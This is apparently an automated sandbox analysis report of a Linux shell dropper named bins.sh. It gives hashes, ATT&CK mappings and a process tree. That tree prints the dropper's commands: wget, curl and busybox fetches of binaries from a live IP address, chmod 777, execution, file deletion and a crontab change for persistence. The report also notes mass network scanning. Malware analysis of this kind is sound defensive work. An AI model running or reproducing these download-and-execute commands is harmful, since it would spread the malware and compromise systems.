9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24-11-2024 01:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

fa2704f69bcefd901e2e3ca063a3a8d9
SHA1

064f497aaf9573107f8b373e608dee54df2a205d
SHA256

9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696
SHA512

ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa
SSDEEP

192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2050) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
683	chmod
692	chmod
705	chmod
723	chmod

Executes dropped EXE 4 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNVChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

ioc	pid	Process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	684	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	693	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	707	ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	725	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Renames itself 1 IoCs

Processes:

0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

pid	Process
726	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.6MHqdL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

description	ioc	Process
File opened for reading	/proc/1067/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1080/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/24/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1005/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1030/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/900/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/938/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/955/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1008/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1069/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/755/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/775/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/793/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/226/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/863/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/817/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/845/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/870/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/901/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/929/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/17/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/102/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/811/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/951/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/965/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1036/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/777/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/942/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1009/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1087/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/799/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/829/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/868/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/941/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/963/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/987/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1028/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/644/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/760/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/790/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/758/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/789/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/792/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/837/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/853/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/16/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/28/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/317/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/923/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1115/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1013/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1016/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1020/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1093/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/2/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/815/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/818/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/998/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1034/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1049/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1066/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/1081/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/774/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
File opened for reading	/proc/783/cmdline	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetcurlcurlbusyboxwgetwgetbusyboxbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	wget
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	curl
File opened for modification	/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	curl
File opened for modification	/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	busybox
File opened for modification	/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	busybox
File opened for modification	/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	wget
File opened for modification	/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	curl
File opened for modification	/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:686
- /usr/bin/wget
  wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:695
- /usr/bin/wget
  wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - Writes file to tmp directory
  PID:696
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - Writes file to tmp directory
  PID:703
- /bin/chmod
  chmod 777 ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  ./ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  PID:709
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod 777 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  ./0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:725
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:727
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:728
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:731
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:732
- /bin/rm
  rm 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.6MHqdL

Filesize
210B

MD5
aca8b060effa523ae2caa2acc4e20af7

SHA1
e45cc7f4f75d76940b0ede1ddaa2feb30500a21c

SHA256
800bc35c02a178251e378bada38d14465e96ccbe0a94f0bc53481e0ce4c0efd9

SHA512
cd5ee1c0e93ff8b6b7d9d7b6b93757a49bfddd634ab16df8f16aac987b71662d90758813e6e777925f3a7b20b681e9931bea01c35fcfcbea6433eb132af2906c

Download Submit